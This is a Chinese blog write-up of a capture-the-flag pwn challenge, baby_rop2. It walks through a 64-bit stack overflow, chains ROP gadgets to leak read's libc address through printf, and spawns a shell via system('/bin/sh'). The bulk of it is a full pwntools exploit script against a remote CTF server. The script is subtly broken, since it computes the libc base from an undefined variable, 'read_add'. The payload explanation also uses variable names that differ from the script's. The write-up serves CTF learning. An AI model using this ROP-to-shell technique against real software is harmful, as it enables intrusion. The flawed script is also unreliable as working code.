[CTF]BUUCTF-PWN-[HarekazeCTF2019]baby_rop2

文章详细介绍了如何利用64位程序的栈溢出漏洞,通过ROPgadgets进行pop指令的组合,以泄露libc的read函数地址。然后使用printf函数进一步泄露地址,最终获取system和bin_sh的地址,实现命令执行。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

程序分析

  • ida
    在这里插入图片描述

解题思路

漏洞
  • 本题存在栈溢出,但是不存在/bin/sh,因此需要泄露libc版本查找
  • 本程序为64位程序,传参时前6个参数用寄存器rdi,rsi,rdx,rcx,r8,r9传递,其余参数才能通过栈传递
64位传参顺序

rdi->rsi->rdx->rcx->r8->r9

ROPgadget
  • 需要寻找pop rdi,pop rsi,发现没有单独使用rsi的指令,但是我们可以利用含有rsi,r15的
ROPgadget --binary 'babyrop2 '  --only "pop|ret"

0x0000000000400733 : pop rdi ; ret
0x0000000000400731 : pop rsi ; pop r15 ; ret

利用printf泄露函数地址
  • 参数类型为printf(“%s”,address)

  • 第一个参数我们利用程序自带的Welcome to the Pwn World again, %s字串,第二个参数选择打印read函数的真正地址来泄露lib利用printf来打印泄露的read的地址,需要给printf设置格式化字符,所以在题目中找到现成的%s地址,%s所在的地址是0x400770
    在这里插入图片描述

    fm_str = 0x400770
    

    printf函数原型,format输出内容的格式(fm_str),[argument]输入的内容

    int printf(const char *format, [argument]...)
    
payload1
payload1 = b'a'*0x28 + p64(rdi_1) + p64(format_1) + p64(rsi_1)+p64(read_got) + p64(0) + p64(printf_plt) + p64(main_1)

下面是对上述payload1的解释

  • *b’a’0x28:填充buf和rop

  • p64(rdi_1) + p64(format_1):该指令为"pop rdi;ret ",该指令将p64(format_1)赋值给寄存器rdi,为printf的第一个参数

  • p64(rsi_1)+p64(read_got) + p64(0) :pop rsi;pop r15;ret执行后将p64(read_got)赋值给寄存器rsi,printf的第二个参数,将p64(0)赋值给寄存器r15,无意义

  • p64(printf_plt):执行ret指令后,返回到printf在plt表中的地址,相当于执行printf函数

  • p64(main_1):printf函数的返回地址,得到read真正地址后返回程序开始,重新执行

接收read地址
read_1 = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))

接收地址基本都是7个字节开头的,7f开头,补全8个字节

payload2
payload2 = b'a'*0x28 + p64(rdi_add) + p64(bin_add) +p64(sys_add)
cat flag

注意,这里不能直接ls得到flag,需要使用一些linux小命令

cd /home/babyrop2
cat flag

在这里插入图片描述

exp

from pwn import*
from LibcSearcher import *
context.log_level = 'debug'
p = remote("node4.buuoj.cn",25684)

elf = ELF("'babyrop2' ")
main_1 = elf.sym['main']
printf_plt = elf.plt['printf']
read_got = elf.got['read']

rdi_1 = 0x400733
rsi_1 = 0x400731
format_1 = 0x400770

payload1 = b'a'*0x28 + p64(rdi_1) + p64(format_1) + p64(rsi_1)+p64(read_got) + p64(0) + p64(printf_plt) + p64(main_1)
p.recvuntil("name?")
p.sendline(payload1)
read_1 = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(read_1))

libc = LibcSearcher('read',read_1)
libc_base = read_add - libc.dump ('read')
sys_1 = libc_base + libc.dump('system')
bin_1 = libc_base + libc.dump('str_bin_sh')

payload2 = b'a'*0x28 + p64(rdi_1) + p64(bin_1) +p64(sys_1)
p.recvuntil("name?")
p.sendline(payload2)
p.interactive()       	                    
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值